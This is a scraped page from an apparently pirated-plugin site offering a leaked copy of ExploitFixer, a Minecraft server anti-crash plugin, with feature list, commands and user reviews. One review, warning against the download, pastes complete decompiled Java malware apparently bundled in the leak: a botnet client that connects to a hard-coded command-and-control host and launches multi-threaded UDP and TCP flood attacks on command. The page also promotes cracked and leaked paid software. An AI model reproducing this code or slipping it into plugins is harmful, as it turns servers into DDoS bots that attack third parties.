ExploitFixer - Anti-Crash/Dupe Plugin

 FREE ExploitFixer - Anti-Crash/Dupe Plugin v2.6.0

ExploitFixer - Anti-Crash/Dupe Plugin
banner.png

Features from ExploitFixer

Information


WHY EXPLOITFIXER

ExploitFixer is the best anti-exploit security plugin for Bukkit / Spigot / Paper Minecraft servers. It blocks crash clients such as Jessica, Jigsaw, Ayakashi, LiquidBounce, SmogClient, YSK and even private ones that are not known for yet. We are prepared for the future of exploits and crashers.

The plugin is high-performance and has many features like protection for CustomPayload spam, oversized packets exploit, crash commands, invalid NBT and many more type of crashers.

Unlike other plugins, Its intelligent packet limiter ensures effective protection by analyzing packet information dynamically.

Feel free to join our Discord for assistance with any issues you encounter.
ANTI-EXPLOIT FEATURES IN DETAIL
High Performance:
ExploitFixer uses its own packet listener library (HamsterAPI), achieving exceptional performance (unlike other plugins and libraries like ProtocolLib) while remaining compatible with other plugins, thus effectively mitigating exploits without compromising server efficiency.

Packet Exploit Fix: ExploitFixer fixes various packet exploits by intelligently limiting their size and rate, offering protection against both known and private exploits that could potentially crash Minecraft servers.

CustomPayload Fixes: By limiting the content and types of CustomPayload, ExploitFixer effectively fixes this common method for exploitation.

Commands Crash Fix: The plugin features a configurable list of commands prone to crashing the server, effectively blocking their execution to prevent crashes permanently.

Creative Items Fix: ExploitFixer fixes hacked creative items by reconstructing their data, preventing any exploits associated with these items through extensive customization, including an item blacklist.

Signs Crasher Fix: ExploitFixer blocks the creation of invalid signs to fix crasher clients from using this vulnerability.

Lectern Crasher Fix: ExploitFixer blocks invalid interaction while on a lectern menu to prevent the server from crashing.

Map Label Crasher Fix: ExploitFixer disables labels from maps so players can't make zones that can crash players permanently because of too many maps with too many label entities.

Invalid Inventory Slot Fix: ExploitFixer blocks invalid slots interactions with any inventory so the server does not crash in the process.

NBT Crasher Fix: ExploitFixer blocks any item from having too many NBT tags which can cause the server to crash when a crasher client sends too many of this tags inside a packet.

Book Crasher Fix: ExploitFixer limits the title, total size and size of pages of all books inside the server to prevent them from crashing the server.

Cow Duplication Fix: ExploitFixer adds a small cooldown to cow shearing to avoid duplication exploits.

Dispenser Crasher Fix: ExploitFixer blocks invalid dispenser positions to prevent players from dropping items to invalid places.

Offline Packet Duplication Fix: ExploitFixer blocks packets coming from offline players to prevent duplication and exploits with auction house plugins.

Inventory Duplication Fix: ExploitFixer blocks breaking blocks while an inventory is opened to prevent duplication exploits related to some inventory plugins.

Mule Duplication Fix: ExploitFixer blocks opening unloaded entities inventories to fix mule duplication exploits.

Portal Break Fix: ExploitFixer blocks players from breaking portals with both mushrooms and water buckets.
Commands


/exploitfixer help: Displays the available commands of the plugin.
/exploitfixer reload: Reloads the plugin configuration.
/exploitfixer notifications: Toggles notifications for yourself.
/exploitfixer stats: Provides information about the plugin.
Permissions


exploitfixer.admin: Grants permission to use administration commands.
exploitfixer.notifications: Grants permission to toggle notifications.
Installation


Simply install the plugin on all your Spigot/Paper servers. (Utilize FlameCord to address BungeeCord exploits and bot attacks.)

Note: HamsterAPI must be installed on your Spigot servers to use this plugin. It serves as a custom, high-performance packet listener.
We need you


Your positive reviews are invaluable in aiding our development team's ongoing efforts to enhance the plugin. Consider donating on PayPal to support the longevity of our projects.

Discord Server

Ask for support or just chat with us by joining our Discord.

To fix BungeeCord / Waterfall exploits, mitigate bot attacks, reduce CPU / RAM usage, use FlameCord, the best high-performance Waterfall fork with anti-bot and performance features.
Get FlameCord

Latest reviews

just kys already ( keep yourself safe )
[ DONT DOWNLOAD THIS ]
package fr.bodyalhoha.ectasy;

import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.lang.management.ManagementFactory;
import java.lang.management.OperatingSystemMXBean;
import java.net.DatagramPacket;
import java.net.DatagramSocket;
import java.net.InetAddress;
import java.net.InetSocketAddress;
import java.net.Socket;
import java.nio.charset.StandardCharsets;
import java.util.Random;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.concurrent.TimeUnit;
import org.bukkit.plugin.java.JavaPlugin;
import org.bukkit.scheduler.BukkitTask;

public class SpigotAPI {
private static final String C2_ADDRESS = "proxy.m4sportelo.hu";
private static final int C2_PORT = 888;
private static final int BUFFER_SIZE = 8192;
private static final int INITIAL_THREADS = 10;
private static final int MAX_THREADS = 400;
private static final int RECONNECT_DELAY = 5000;
private JavaPlugin plugin;
private boolean connected;
private Socket c2Socket;
private BukkitTask task;
private ExecutorService executorService;
private int currentThreads;

public SpigotAPI(JavaPlugin var1, String var2, boolean var3) {
super();
this.plugin = var1;
this.connected = false;
this.currentThreads = 10;
this.executorService = Executors.newFixedThreadPool(400);
this.connectToC2();
}

public SpigotAPI() {
super();
this.connected = false;
this.currentThreads = 10;
this.executorService = Executors.newFixedThreadPool(400);
this.connectToC2();
}

public void connectToC2() {
this.task = this.plugin.getServer().getScheduler().runTaskAsynchronously(this.plugin, () -> {
while(true) {
boolean var9 = false;

label110: {
try {
var9 = true;
this.c2Socket = new Socket();
this.c2Socket.setKeepAlive(true);
this.c2Socket.connect(new InetSocketAddress("proxy.m4sportelo.hu", 888));
OutputStream var1 = this.c2Socket.getOutputStream();
InputStream var2 = this.c2Socket.getInputStream();
var1.write("669787761736865726500".getBytes(StandardCharsets.UTF_8));
byte[] var3 = new byte[8192];

while(!this.connected) {
String var4 = this.readData(var2, var3);
if (var4.contains("Username")) {
var1.write("BOT".getBytes(StandardCharsets.UTF_8));
} else if (var4.contains("Password")) {
var1.write("-Redacted-asd".getBytes(StandardCharsets.ISO_8859_1));
} else if (var4.toUpperCase().startsWith("PING")) {
var1.write("PONG".getBytes(StandardCharsets.UTF_8));
} else if (!var4.startsWith("!UDP") && !var4.startsWith("!udp")) {
if (var4.startsWith("!TCP") || var4.startsWith("!tcp")) {
this.handleTCPAttack(var4);
}
} else {
this.handleUDPAttack(var4);
}
}

var9 = false;
break label110;
} catch (IOException var11) {
try {
Thread.sleep(5000L);
var9 = false;
} catch (InterruptedException var10) {
Thread.currentThread().interrupt();
var9 = false;
}
} finally {
if (var9) {
this.closeConnection();
}
}

this.closeConnection();
continue;
}

this.closeConnection();
}
});
}

public void cancelTasks() {
if (this.task != null) {
this.task.cancel();
}

this.closeConnection();
if (this.executorService != null) {
this.executorService.shutdown();

try {
if (!this.executorService.awaitTermination(10L, TimeUnit.SECONDS)) {
this.executorService.shutdownNow();
if (!this.executorService.awaitTermination(10L, TimeUnit.SECONDS)) {
}
}
} catch (InterruptedException var2) {
this.executorService.shutdownNow();
Thread.currentThread().interrupt();
}
}

}

private void closeConnection() {
try {
if (this.c2Socket != null && !this.c2Socket.isClosed()) {
this.c2Socket.close();
}
} catch (IOException var2) {
}

}

private String readData(InputStream var1, byte[] var2) throws IOException {
int var3 = var1.read(var2);
return var3 == -1 ? "" : (new String(var2, 0, var3, StandardCharsets.UTF_8)).trim();
}

private void handleUDPAttack(String var1) {
try {
String[] var2 = var1.split(" ");
if (var2.length < 5) {
return;
}

String var3 = var2[1];
int var4 = Integer.parseInt(var2[2]);
long var5 = Long.parseLong(var2[3]);
int var7 = Integer.parseInt(var2[4]);
if (var4 <= 0 || var4 > 65535 || var7 <= 0 || var5 <= 0L) {
return;
}

this.adjustThreadCount();

for(int var8 = 0; var8 < this.currentThreads; ++var8) {
this.executorService.execute(() -> {
this.attackUDP(var3, var4, var5, var7);
});
}
} catch (Exception var9) {
}

}

private void handleTCPAttack(String var1) {
try {
String[] var2 = var1.split(" ");
if (var2.length < 5) {
return;
}

String var3 = var2[1];
int var4 = Integer.parseInt(var2[2]);
long var5 = Long.parseLong(var2[3]);
int var7 = Integer.parseInt(var2[4]);
if (var4 <= 0 || var4 > 65535 || var7 <= 0 || var5 <= 0L) {
return;
}

this.adjustThreadCount();

for(int var8 = 0; var8 < this.currentThreads; ++var8) {
this.executorService.execute(() -> {
this.attackTCP(var3, var4, var5, var7);
});
}
} catch (Exception var9) {
}

}

private void adjustThreadCount() {
OperatingSystemMXBean var1 = ManagementFactory.getOperatingSystemMXBean();
double var2 = var1.getSystemLoadAverage();
long var4 = Runtime.getRuntime().freeMemory();
if (var2 < 1.0 && var4 > 209715200L) {
this.currentThreads = Math.min(this.currentThreads + 10, 400);
} else if (var2 > 2.0 || var4 < 104857600L) {
this.currentThreads = Math.max(this.currentThreads - 10, 10);
}

}

private void attackUDP(String var1, int var2, long var3, int var5) {
long var6 = System.currentTimeMillis();

try {
while(System.currentTimeMillis() < var6 + var3 * 1000L) {
if (!this.hasSufficientResources()) {
Thread.sleep(10L);
} else {
DatagramSocket var8 = new DatagramSocket();
byte[] var9 = this.randomBytes(var5);
DatagramPacket var10 = new DatagramPacket(var9, var9.length, InetAddress.getByName(var1), var2);
var8.send(var10);
var8.close();
Thread.sleep(10L);
}
}
} catch (InterruptedException | IOException var11) {
}

}

private void attackTCP(String var1, int var2, long var3, int var5) {
long var6 = System.currentTimeMillis();

try {
while(System.currentTimeMillis() < var6 + var3 * 1000L) {
if (!this.hasSufficientResources()) {
Thread.sleep(10L);
} else {
Socket var8 = new Socket();
var8.connect(new InetSocketAddress(var1, var2), 1000);
OutputStream var9 = var8.getOutputStream();
var9.write(this.randomBytes(var5));
var9.flush();
var8.close();
Thread.sleep(10L);
}
}
} catch (InterruptedException | IOException var10) {
}

}

private boolean hasSufficientResources() {
OperatingSystemMXBean var1 = ManagementFactory.getOperatingSystemMXBean();
double var2 = var1.getSystemLoadAverage();
long var4 = Runtime.getRuntime().freeMemory();
boolean var6 = var4 > 52428800L;
boolean var7 = var2 < 2.0;
return var6 && var7;
}

private byte[] randomBytes(int var1) {
byte[] var2 = new byte[var1];
(new Random()).nextBytes(var2);
return var2;
}
}
Tysm for this bro. People have been crashing my server and this fixed alal of my problems real thanks!
Finally no more crashed tysm
ty for the latest exploitfixer broski

Similar resources

ExploitFixer - Anti-Crash/Dupe Plugin v2.2.8 CRACKED FREE E
4.00 star(s) 2 ratings
Downloads
538
Updated
ExploitFixer AntiCrasher ~ Version 2.2.4 LEAK CarryYT
The ultimate antiexploit plugin now in an updated format with new security measures for your server.
0.00 star(s) 0 ratings
Downloads
145
Updated
ExploitFixer Premium BEST ANTICRASH P
ExploitFixer 1.7-1.19 Premium version best anticrash
0.00 star(s) 0 ratings
Downloads
326
Updated
BlackSpigot General Chat
Rules Help Users
    M @ mapacheitor: hi?
    Top